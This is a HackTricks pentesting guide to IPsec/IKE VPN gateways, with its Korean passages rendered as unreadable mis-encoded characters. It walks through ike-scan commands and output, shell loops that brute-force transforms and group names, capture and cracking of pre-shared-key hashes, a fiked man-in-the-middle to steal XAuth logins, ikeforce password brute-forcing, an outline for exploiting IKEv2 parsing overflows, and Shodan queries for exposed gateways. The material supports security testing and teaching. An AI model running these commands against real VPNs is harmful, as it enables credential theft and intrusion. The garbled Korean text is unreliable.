500/udp - Pentesting IPsec/IKE VPN
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
IPsec๋ ๋คํธ์ํฌ ๊ฐ(LAN-to-LAN) ๋ฐ ์๊ฒฉ ์ฌ์ฉ์์ ๋คํธ์ํฌ ๊ฒ์ดํธ์จ์ด(์๊ฒฉ ์ก์ธ์ค)๋ก์ ํต์ ์ ๋ณดํธํ๋ ์ฃผ์ ๊ธฐ์ ๋ก ๋๋ฆฌ ์ธ์ ๋๋ฉฐ, ์ํฐํ๋ผ์ด์ฆ VPN ์๋ฃจ์ ์ ์ค์ถ ์ญํ ์ ํฉ๋๋ค.
๋ ์ง์ ๊ฐ์ security association (SA) ์๋ฆฝ์ ์ธ์ฆ ๋ฐ ํค ๊ตํ์ ์ํด ์ค๊ณ๋ ํ๋กํ ์ฝ์ธ ISAKMP์ ๋ฒ์ ์๋์์ ์๋ํ๋ IKE์ ์ํด ๊ด๋ฆฌ๋ฉ๋๋ค. ์ด ๊ณผ์ ์ ์ฌ๋ฌ ๋จ๊ณ๋ก ์งํ๋ฉ๋๋ค:
- Phase 1: ๋ ์๋ํฌ์ธํธ ๊ฐ์ ๋ณด์ ์ฑ๋์ด ์์ฑ๋ฉ๋๋ค. ์ด๋ Pre-Shared Key (PSK) ๋๋ ์ธ์ฆ์๋ฅผ ์ฌ์ฉํ์ฌ ์ด๋ฃจ์ด์ง๋ฉฐ, ์ธ ์์ ๋ฉ์์ง๋ฅผ ํฌํจํ๋ main mode ๋๋ aggressive mode๋ฅผ ์ฌ์ฉํฉ๋๋ค.
- Phase 1.5: ํ์๋ ์๋์ง๋ง, Extended Authentication Phase๋ก ์๋ ค์ง ์ด ๋จ๊ณ์์๋ ์ฌ์ฉ์ ์ด๋ฆ๊ณผ ๋น๋ฐ๋ฒํธ๋ฅผ ์๊ตฌํ์ฌ ์ฐ๊ฒฐ์ ์๋ํ๋ ์ฌ์ฉ์์ ์ ์์ ํ์ธํฉ๋๋ค.
- Phase 2: ๋ฐ์ดํฐ ๋ณดํธ๋ฅผ ์ํ ํ๋ผ๋ฏธํฐ๋ฅผ ESP ๋ฐ AH๋ก ํ์ํ๋ ๋จ๊ณ์ ๋๋ค. ์ด ๋จ๊ณ์์๋ Phase 1๊ณผ ๋ค๋ฅธ ์๊ณ ๋ฆฌ์ฆ์ ์ฌ์ฉํ์ฌ Perfect Forward Secrecy (PFS)๋ฅผ ๋ณด์ฅํ ์ ์์ด ๋ณด์์ด ํฅ์๋ฉ๋๋ค.
๊ธฐ๋ณธ ํฌํธ: 500/udp
๋ ์์ฃผ ๋ ธ์ถ๋จ: 4500/udp (NAT Traversal)
nmap์ ์ฌ์ฉํ์ฌ ์๋น์ค ํ์ง
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
์ ํจํ ๋ณํ ์ฐพ๊ธฐ
IPSec ๊ตฌ์ฑ์ ํ๋ ๋๋ ๋ช ๊ฐ์ ๋ณํ๋ง์ ํ์ฉํ๋๋ก ์ค๋น๋ ์ ์๋ค. ๋ณํ์ ๊ฐ๋ค์ ์กฐํฉ์ด๋ค. ๊ฐ ๋ณํ์ DES ๋๋ 3DES๋ฅผ ์ํธํ ์๊ณ ๋ฆฌ์ฆ์ผ๋ก, SHA ๋๋ MD5๋ฅผ ๋ฌด๊ฒฐ์ฑ ์๊ณ ๋ฆฌ์ฆ์ผ๋ก, ์ฌ์ ๊ณต์ ํค(pre-shared key)๋ฅผ ์ธ์ฆ ์ ํ์ผ๋ก, Diffie-Hellman 1 ๋๋ 2๋ฅผ ํค ๋ถ๋ฐฐ ์๊ณ ๋ฆฌ์ฆ์ผ๋ก, 28800์ด๋ฅผ ์๋ช ์ผ๋ก ํ๋ ๋ฑ์ ์ฌ๋ฌ ์์ฑ์ ํฌํจํ๋ค.
๋ฐ๋ผ์ ๋จผ์ ํด์ผ ํ ์ผ์ ์๋ฒ๊ฐ ํต์ ํ๋๋ก ์ ํจํ ๋ณํ์ ์ฐพ๋ ๊ฒ์ด๋ค. ๊ทธ๋ ๊ฒ ํ๋ ค๋ฉด ๋๊ตฌ ike-scan์ ์ฌ์ฉํ ์ ์๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก Ike-scan์ main mode์์ ์๋ํ๋ฉฐ, ISAKMP ํค๋์ ๊ทธ ์์ 8๊ฐ์ ๋ณํ์ด ํฌํจ๋ ๋จ์ผ ์ ์์ ๋ด์ ํจํท์ ๊ฒ์ดํธ์จ์ด๋ก ์ ์กํ๋ค.
์๋ต์ ๋ฐ๋ผ ์๋ํฌ์ธํธ์ ๋ํ ๋ช ๊ฐ์ง ์ ๋ณด๋ฅผ ์ป์ ์ ์๋ค:
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
As you can see in the previous response, there is a field called AUTH with the value PSK. This means that the vpn is configured using a preshared key (and this is really good for a pentester).
๋ง์ง๋ง ์ค์ ๊ฐ๋ ๋งค์ฐ ์ค์ํฉ๋๋ค:
- 0 returned handshake; 0 returned notify: ์ด๋ ๋์์ด not an IPsec gateway์์ ์๋ฏธํฉ๋๋ค.
- 1 returned handshake; 0 returned notify: ์ด๋ target is configured for IPsec and is willing to perform IKE negotiation, and either one or more of the transforms you proposed are acceptable๋ผ๋ ์๋ฏธ์ ๋๋ค(์ ํจํ transform์ ์ถ๋ ฅ์ ํ์๋ฉ๋๋ค).
- 0 returned handshake; 1 returned notify: VPN gateways๋ none of the transforms are acceptable์ผ ๋ notify ๋ฉ์์ง๋ก ์๋ตํฉ๋๋ค(๋จ ์ผ๋ถ gateways๋ ๊ทธ๋ ์ง ์์ ์ถ๊ฐ ๋ถ์๊ณผ ์์ ๋ ์ ์์ ์๋ํด์ผ ํฉ๋๋ค).
์ด ๊ฒฝ์ฐ ์ด๋ฏธ ์ ํจํ transformation์ด ์์ง๋ง, ์ธ ๋ฒ์งธ ๊ฒฝ์ฐ์ ํด๋นํ๋ค๋ฉด ์ ํจํ transformation์ ์ฐพ๊ธฐ ์ํด brute-force๋ฅผ ์ฝ๊ฐ ์ํํด์ผ ํฉ๋๋ค:
์ฐ์ ๊ฐ๋ฅํ ๋ชจ๋ transformations์ ์์ฑํด์ผ ํฉ๋๋ค:
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
๊ทธ๋ฐ ๋ค์ ike-scan์ ์ฌ์ฉํด ๊ฐ ํญ๋ชฉ์ brute-forceํ์ธ์(๋ช ๋ถ ์ ๋ ๊ฑธ๋ฆด ์ ์์ต๋๋ค):
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
๋ง์ฝ brute-force๊ฐ ์๋ํ์ง ์์๋ค๋ฉด, ์๋ฒ๊ฐ ์ ํจํ transforms์ ๋ํด์๋ handshakes ์์ด ์๋ตํ๊ณ ์์ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ฉด ๋์ผํ brute-force๋ฅผ aggressive mode๋ก ์๋ํด๋ณผ ์ ์์ต๋๋ค:
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
ํฌ๋ง์ปจ๋ ์ ํจํ ๋ณํ์ด ๋ฐํ๋ฉ๋๋ค.
iker.py์ ์ฌ์ฉํ์ฌ same attack์ ์๋ํ ์ ์์ต๋๋ค.
๋๋ ikeforce๋ฅผ ์ฌ์ฉํด ๋ณํ์ brute force๋ก ์๋ํด๋ณผ ์๋ ์์ต๋๋ค:
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
.png)
In DH Group: 14 = 2048-bit MODP and 15 = 3072-bit
2 = HMAC-SHA = SHA1 (in this case). The --trans format is $Enc,$Hash,$Auth,$DH
Cisco๋ DH groups 1 ๋ฐ 2์ ์ฌ์ฉ์ ํผํ๋ผ๊ณ ๊ถ๊ณ ํฉ๋๋ค. ์ด๋ค ๊ทธ๋ฃน์ ์ถฉ๋ถํ ๊ฐ๋ ฅํ์ง ์๊ธฐ ๋๋ฌธ์ ๋๋ค. ์ ๋ฌธ๊ฐ๋ค์ ์์์ด ํ๋ถํ ๊ตญ๊ฐ๋ค์ด ์ด๋ฌํ ์ฝํ ๊ทธ๋ฃน์ ์ฌ์ฉํ๋ ๋ฐ์ดํฐ์ ์ํธ๋ฅผ ์๋์ ์ผ๋ก ์ฝ๊ฒ ๊นจ๋จ๋ฆด ์ ์๋ค๊ณ ๋ณด๊ณ ์์ต๋๋ค. ์ด๋ ๋น ๋ฅธ ํด๋ ์ ์ํด ์ฌ์ ์ค๋น๋ฅผ ํด๋๋ ํน์ํ ๋ฐฉ๋ฒ์ ์ฌ์ฉํด ์ด๋ฃจ์ด์ง๋๋ค. ์ค์ ๋น์ฉ์ ๋งค์ฐ ๋์ง๋ง, ์ด๋ฐ ๊ฐ๋๊ตญ๋ค์ 1,024-bit ์ดํ์ฒ๋ผ ๊ฐ๋๊ฐ ์ฝํ ๊ทธ๋ฃน์ ์ฌ์ฉํ ๊ฒฝ์ฐ ์ค์๊ฐ์ผ๋ก ์ํธํ๋ ๋ฐ์ดํฐ๋ฅผ ์ฝ์ ์ ์๊ฒ ๋ฉ๋๋ค.
Server fingerprinting
Then, you can use ike-scan to try to ์ฅ๋น์ ๋ฒค๋๋ฅผ ์๋ณํ ์ ์์ต๋๋ค. ์ด ๋๊ตฌ๋ ์ด๊ธฐ ์ ์์ ๋ณด๋ด๊ณ ์ฌ์ ์ก์ ๋ฉ์ถฅ๋๋ค. ๊ทธ๋ฐ ๋ค์ ์๋ฒ๋ก๋ถํฐ ์์ ๋ ๋ฉ์์ง์ ์ผ์นํ๋ ์๋ต ํจํด ๊ฐ์ ์๊ฐ ์ฐจ์ด๋ฅผ ๋ถ์ํจ์ผ๋ก์จ, pentester๋ ์ฑ๊ณต์ ์ผ๋ก VPN ๊ฒ์ดํธ์จ์ด ๋ฒค๋๋ฅผ ์ง๋ฌธํํ ์ ์์ต๋๋ค. ๋ํ ์ผ๋ถ VPN ์๋ฒ๋ IKE์ ํจ๊ป ์ ํ์ ์ธ Vendor ID (VID) payload๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
ํ์ํ ๊ฒฝ์ฐ ์ ํจํ ๋ณํ์ ์ง์ ํ์ธ์ (โtrans ์ฌ์ฉ)
If IKE discover which is the vendor it will print it:
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
์ด๊ฒ์ nmap script _ike-version_์ผ๋ก๋ ์ํํ ์ ์์ต๋๋ค.
IKEv2-specific: WatchGuard Vendor ID version fingerprinting
์ผ๋ถ IKEv2 ๋ฐ๋ชฌ์ IKE_SA_INIT ์๋ต์ ๋นํ์ค Vendor ID ํ์ด๋ก๋๋ฅผ ํฌํจํฉ๋๋ค. WatchGuard Fireware OS๋ VID ๋ด๋ถ์ ์ดํ๋ผ์ด์ธ์ค ๋ฒ์ /๋น๋๋ฅผ ์ง์ ์ธ์ฝ๋ฉํ์ฌ ๋จ์ผ ํจํท, pre-auth fingerprinting์ด ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
- ์ ์ก: UDP/500 (๋ฐ NAT-T์ ๊ฒฝ์ฐ UDP/4500)
- ํจํท: IKE_SA_INIT ์๋ต์ ํ๋ ์ด์์ Vendor ID ํ์ด๋ก๋๋ฅผ ํฌํจํฉ๋๋ค
- WatchGuard ํ์: 32-byte hash ๋ค์ base64๊ฐ ๋ฐ๋ผ์ค๋ฉฐ, ๋์ฝ๋ํ๋ฉด ์๋ฅผ ๋ค์ด
VN=12.11.3 BN=719894๊ฐ ๋ฉ๋๋ค
Example raw bytes from a WatchGuard VID payload (last 12 bytes are base64):
00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807 ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243 Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d Tj03MTk4OTQ=
base64 tail์ด ์์ ๋ shell์์ ๋น ๋ฅด๊ฒ ์ถ์ถํ๊ธฐ:
echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894
๋ ธํธ
- ์ด๋ ์ด๋ค IKEv2 RFC์ ์ผ๋ถ๊ฐ ์๋๋๋ค. ๋ ธ์ถ๋๊ฑฐ๋ ์ทจ์ฝํ Fireware OS ๋ฒ์ ์ ๋น ๋ฅด๊ฒ ๋ฒ์ ์ง์ ํ๊ธฐ ์ํ vendor quirk๋ก ์ทจ๊ธํ์ธ์.
- IKE_SA_INIT ์๋ต์ ์ ๋ํ๊ธฐ๋ง ํ๋ฉด ๋๊ณ ์ธ์ฆ์ ํ์ํ์ง ์์ต๋๋ค.
์ฌ๋ฐ๋ฅธ ID (๊ทธ๋ฃน ์ด๋ฆ) ์ฐพ๊ธฐ
hash๋ฅผ ์บก์ฒํ๋ ค๋ฉด Aggressive mode๋ฅผ ์ง์ํ๋ ์ ํจํ transformation๊ณผ ์ฌ๋ฐ๋ฅธ ID(๊ทธ๋ฃน ์ด๋ฆ)๊ฐ ํ์ํฉ๋๋ค. ์ ํจํ ๊ทธ๋ฃน ์ด๋ฆ์ ๋ชจ๋ฅผ ๊ฐ๋ฅ์ฑ์ด ๋์ผ๋ฏ๋ก brute-forceํด์ผ ํฉ๋๋ค.\ ์ด๋ฅผ ์ํด ์ ๋ ๋ค์ ๋ ๊ฐ์ง ๋ฐฉ๋ฒ์ ๊ถ์ฅํฉ๋๋ค:
Bruteforcing ID with ike-scan
๋จผ์ hash๋ฅผ ์ป๊ธฐ ์ํด ๊ฐ์ง ID๋ก ์์ฒญ์ ์๋ํด ๋ณด์ธ์ (โ-Pโ):
ike-scan -P -M -A -n fakeID <IP>
๋ง์ฝ no hash is returned ๋ผ๋ฉด, ์๋ง ์ด brute forcing ๋ฐฉ๋ฒ์ด ์๋ํ ๊ฒ์ ๋๋ค. If some hash is returned, this means that a fake hash is going to be sent back for a fake ID, so this method wonโt be reliable to brute-force the ID. ์๋ฅผ ๋ค์ด, ๊ฐ์ง hash๊ฐ ๋ฐํ๋ ์ ์์ต๋๋ค(์ด๊ฒ์ ์ต์ ๋ฒ์ ์์ ๋ฐ์ํฉ๋๋ค):
.png)
ํ์ง๋ง ์์ ๋งํ๋ฏ์ด no hash is returned ๊ฒฝ์ฐ์๋ ike-scan์ ์ฌ์ฉํด ์ผ๋ฐ์ ์ธ group names๋ฅผ brute-force ํด๋ณด์์ผ ํฉ๋๋ค.
์ด ์คํฌ๋ฆฝํธ๋ will try to brute-force possible IDs ํ๋ฉฐ, ์ ํจํ handshake๊ฐ ๋ฐํ๋๋ ID๋ค(์ด๋ ์ ํจํ group name์ ๋๋ค)์ ๋ฐํํฉ๋๋ค.
ํน์ transformation์ ๋ฐ๊ฒฌํ๋ค๋ฉด ike-scan ๋ช ๋ น์ด์ ์ถ๊ฐํ์ธ์. ์ฌ๋ฌ transformations์ ๋ฐ๊ฒฌํ๋ค๋ฉด ๋ชจ๋ ์๋ํ๋๋ก ์ loop๋ฅผ ์ถ๊ฐํด๋ ๋ฉ๋๋ค(ํ๋๊ฐ ์ ๋๋ก ์๋ํ ๋๊น์ง ๋ชจ๋ ์๋ํด์ผ ํฉ๋๋ค).
์ผ๋ฐ์ ์ธ group names๋ฅผ brute-forceํ๊ธฐ ์ํด dictionary of ikeforce ๋๋ the one in seclists๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค:
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
Or use this dict (is a combination of the other 2 dicts without repetitions):
Bruteforcing ID with Iker
iker.py also uses ike-scan to bruteforce possible group names. It follows itโs own method to find a valid ID based on the output of ike-scan.
Bruteforcing ID with ikeforce
ikeforce.py is a tool that can be used to brute force IDs also. This tool will try to exploit different vulnerabilities that could be used to distinguish between a valid and a non-valid ID (์คํ ๋ฐ ๋๋ฝ์ด ๋ฐ์ํ ์ ์์ผ๋ฏ๋ก, ๊ฐ๋ฅํ๋ฉด ike-scan ๋ฐฉ๋ฒ์ ์ ํธํฉ๋๋ค).
By default ikeforce will send at the beginning some random ids to check the behaviour of the server and determinate the tactic to use.
- The first method is to brute-force the group names by searching for the information Dead Peer Detection DPD of Cisco systems (this info is only replayed by the server if the group name is correct).
- The second method available is to checks the number of responses sent to each try because sometimes more packets are sent when the correct id is used.
- The third method consist on searching for โINVALID-ID-INFORMATIONโ in response to incorrect ID.
- Finally, if the server does not replay anything to the checks, ikeforce will try to brute force the server and check if when the correct id is sent the server replay with some packet.
Obviously, the goal of brute forcing the id is to get the PSK when you have a valid id. Then, with the id and PSK you will have to bruteforce the XAUTH (if it is enabled).
If you have discovered an specific transformation add it in the ikeforce command. And if you have discovered several transformations feel free to add a new loop to try them all (you should try them all until one of them is working properly).
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
Sniffing ID
(์ฑ Network Security Assessment: Know Your Network์์): VPN client์ server ๊ฐ์ ์ฐ๊ฒฐ์ sniffingํจ์ผ๋ก์จ ์ ํจํ ์ฌ์ฉ์ ์ด๋ฆ์ ์ป์ ์๋ ์๋ค. ์ฒซ ๋ฒ์งธ aggressive mode ํจํท์ client ID๊ฐ ํ๋ฌธ์ผ๋ก ์ ์ก๋๊ธฐ ๋๋ฌธ์ด๋ค
.png)
Capturing & cracking the hash
๋ง์ง๋ง์ผ๋ก, valid transformation๊ณผ group name์ ์ฐพ์๊ณ aggressive mode๊ฐ ํ์ฉ๋์ด ์๋ค๋ฉด, ๋งค์ฐ ์ฝ๊ฒ crackable hash๋ฅผ ์ป์ ์ ์๋ค:
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
hash๋ _hash.txt_์ ์ ์ฅ๋ฉ๋๋ค.
๋ค์ ๋๊ตฌ๋ค์ธ psk-crack, john (using ikescan2john.py) ๋ฐ hashcat์ ์ฌ์ฉํ์ฌ hash๋ฅผ crackํ ์ ์์ต๋๋ค:
psk-crack -d <Wordlist_path> psk.txt
XAuth
Aggressive mode IKE์ **Pre-Shared Key (PSK)**์ ์กฐํฉ์ ์ผ๋ฐ์ ์ผ๋ก ๊ทธ๋ฃน ์ธ์ฆ์ ์ฌ์ฉ๋ฉ๋๋ค. ์ด ๋ฐฉ๋ฒ์ ์ถ๊ฐ์ ์ธ ์ฌ์ฉ์ ์ธ์ฆ ๊ณ์ธต์ ๋์ ํ๊ธฐ ์ํด **XAuth (Extended Authentication)**๋ก ๋ณด๊ฐ๋ฉ๋๋ค. ์ด๋ฌํ ์ธ์ฆ์ ์ผ๋ฐ์ ์ผ๋ก Microsoft Active Directory, RADIUS ๋๋ ์ ์ฌํ ์์คํ ์ ํ์ฉํฉ๋๋ค.
IKEv2๋ก ์ ํํ๋ฉด ์ฌ์ฉ์ ์ธ์ฆ์ XAuth ๋์ **EAP (Extensible Authentication Protocol)**๊ฐ ์ฌ์ฉ๋๋ ๋๋ ทํ ๋ณํ๊ฐ ๋ํ๋ฉ๋๋ค. ์ด ๋ณํ๋ ๋ณด์ ํต์ ํ๋กํ ์ฝ ๋ด ์ธ์ฆ ๊ดํ์ ์งํ๋ฅผ ๋ณด์ฌ์ค๋๋ค.
Local network MitM to capture credentials
๋ฐ๋ผ์ ๋ก๊ทธ์ธ ๋ฐ์ดํฐ๋ฅผ _fiked_๋ฅผ ์ฌ์ฉํด ์บก์ฒํ๊ณ ๊ธฐ๋ณธ ์ฌ์ฉ์ ์ด๋ฆ์ด ์๋์ง ํ์ธํ ์ ์์ต๋๋ค (์ค๋ํ์ ์ํด IKE ํธ๋ํฝ์ fiked๋ก ๋ฆฌ๋ค์ด๋ ํธํด์ผ ํ๋ฉฐ, ์ด๋ ARP spoofing์ ๋์์ผ๋ก ์ํํ ์ ์์ต๋๋ค, more info). Fiked๋ VPN ์๋ํฌ์ธํธ๋ก ๋์ํ์ฌ XAuth ์๊ฒฉ ์ฆ๋ช
์ ์บก์ฒํฉ๋๋ค:
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
๋ํ, IPSec์ ์ฌ์ฉํ์ฌ MitM ๊ณต๊ฒฉ์ ์๋ํ๊ณ port 500์ผ๋ก ํฅํ๋ ๋ชจ๋ ํธ๋ํฝ์ ์ฐจ๋จํด ๋ณด์ธ์. IPSec ํฐ๋์ ์๋ฆฝํ ์ ์๋ค๋ฉด ํธ๋ํฝ์ด ํ๋ฌธ์ผ๋ก ์ ์ก๋ ์ ์์ต๋๋ค.
Brute-forcing XAUTH username ad password with ikeforce
XAUTH๋ฅผ brute forceํ๋ ค๋ฉด (์ ํจํ ๊ทธ๋ฃน ์ด๋ฆ id์ psk๋ฅผ ์๊ณ ์์ ๋) username ๋๋ username ๋ชฉ๋ก๊ณผ passwords ๋ชฉ๋ก์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
์ด๋ ๊ฒ ํ๋ฉด ikeforce๊ฐ ๊ฐ username:password ์กฐํฉ์ผ๋ก ์ฐ๊ฒฐ์ ์๋ํฉ๋๋ค.
ํ๋ ์ด์์ ์ ํจํ transforms๋ฅผ ์ฐพ์๋ค๋ฉด ์ด์ ๋จ๊ณ๋ค์์์ฒ๋ผ ๊ทธ๊ฒ๋ค์ ์ฌ์ฉํ๋ฉด ๋ฉ๋๋ค.
IPSEC VPN ์ธ์ฆ
Kali์์๋ VPNC๋ฅผ ์ฌ์ฉํด IPsec ํฐ๋์ ๊ตฌ์ถํฉ๋๋ค. profiles๋ ๋๋ ํ ๋ฆฌ /etc/vpnc/์ ์์นํด์ผ ํฉ๋๋ค. ์ด๋ฌํ profiles๋ ๋ช
๋ น์ด _vpnc_๋ก ์์ํ ์ ์์ต๋๋ค.
๋ค์ ๋ช ๋ น๊ณผ ์ค์ ์ VPNC๋ก VPN ์ฐ๊ฒฐ์ ์ค์ ํ๋ ๊ณผ์ ์ ๋ณด์ฌ์ค๋๋ค:
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
In this setup:
- Replace
[VPN_GATEWAY_IP]with the actual IP address of the VPN gateway. - Replace
[VPN_CONNECTION_ID]with the identifier for the VPN connection. - Replace
[VPN_GROUP_SECRET]with the VPNโs group secret. - Replace
[VPN_USERNAME]and[VPN_PASSWORD]with the VPN authentication credentials. [PID]symbolizes the process ID that will be assigned whenvpncinitiates.
Ensure that actual, secure values are used to replace the placeholders when configuring the VPN.
IKEv2 exploitation notes: pre-auth IDi/CERT processing bugs
ํ๋์ VPN ์ดํ๋ผ์ด์ธ์ค๋ ์ข ์ข IKEv2๋ฅผ UDP/500(๋ฐ NAT-T์ ๊ฒฝ์ฐ UDP/4500)์์ ๋ ธ์ถํฉ๋๋ค. ์ผ๋ฐ์ ์ธ pre-authentication ๊ณต๊ฒฉ ํ๋ฉด์ IKE_SA_AUTH ๋จ๊ณ์์ Identification(IDi) ๋ฐ Certificate ํ์ด๋ก๋๋ฅผ ํ์ฑํ๋ ๋ถ๋ถ์ ๋๋ค.
์ทจ์ฝํ IKEv2 ํ์๊ฐ ์กด์ฌํ ๋์ ๊ณ ์์ค ์ต์คํ๋ก์ ํ๋ฆ:
- ์ ํจํ
IKE_SA_INIT์ ๋ณด๋ด ๋ณํ์ ํ์ํ๊ณ DiffieโHellman์ ์๋ฃํฉ๋๋ค. - ์ดํ
IKE_SA_AUTH๋ฅผ ๋ณด๋ด IDi๊ฐ ๋ฒ๊ทธ๋ฅผ ์ ๋ฐํ๋๋ก ํธ๋ฆฌ๊ฑฐํฉ๋๋ค(์: ์ธ์ฆ์ ๊ฒ์ฆ ์ ์ ๊ณ ์ ํฌ๊ธฐ ์คํ ๋ฒํผ๋ก ๋ณต์ฌ๋๋ ๊ณผ๋ํ๊ฒ ํฐ Identification). - ๊ฒฐ๊ณผ์ ์ธ ๋ฉ๋ชจ๋ฆฌ ์์์ ์ ์ฅ๋ ๋ ์ง์คํฐ์ ๋ฐํ ์ฃผ์ ์ ์ด๋ฅผ ํ์ฉํ ์ ์์ต๋๋ค.
- NX๊ฐ ํ์ฑํ๋์ด ์๊ณ ๋ค๋ฅธ ์ํ๊ฐ ์์ ๊ฒฝ์ฐ(PIE/์บ์ด๋ฆฌ ์์), ์คํ ํ์ด์ง์ ๋ํด
mprotect๋ฅผ ํธ์ถํ๋ ROP ์ฒด์ธ์ ๊ตฌ์ฑํ๊ณ ์ฃผ์ ๋ shellcode๋ก ์คํ์ ํผ๋ฒํ๊ฑฐ๋/bin/sh๊ฐ ์์ ๊ฒฝ์ฐ ์์ฃผ ์ธํฐํ๋ฆฌํฐ(์:/usr/bin/python3)๋ก ํผ๋ฒํฉ๋๋ค.
์ผ๋ถ IKEv2 ์ดํ๋ผ์ด์ธ์ค์์ ๊ด์ฐฐ๋ ๊ธฐ๋ณธ ๋ณํ ์์(WatchGuard Fireware OS 12.11.3):
- SHA2-256โAES(256-bit) with DH Group 14
- SHA1โAES(256-bit) with DH Group 5
- SHA1โAES(256-bit) with DH Group 2
- SHA1โ3DES with DH Group 2
Practical tips
- Target both UDP/500 and UDP/4500; NAT-T servers may reply only on 4500.
- Increase receive buffer and timeouts for UDP-based scanners to avoid packet loss.
- If the service exposes custom Vendor IDs (see section above), use them to quickly fingerprint vulnerable versions before attempting any exploit traffic.
Reference Material
- PSK cracking paper
- SecurityFocus Infocus
- Scanning a VPN Implementation
- Network Security Assessment 3rd Edition
Shodan
port:500 IKEport:4500 "UDP"udp port:500,4500 "WatchGuard"
References
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
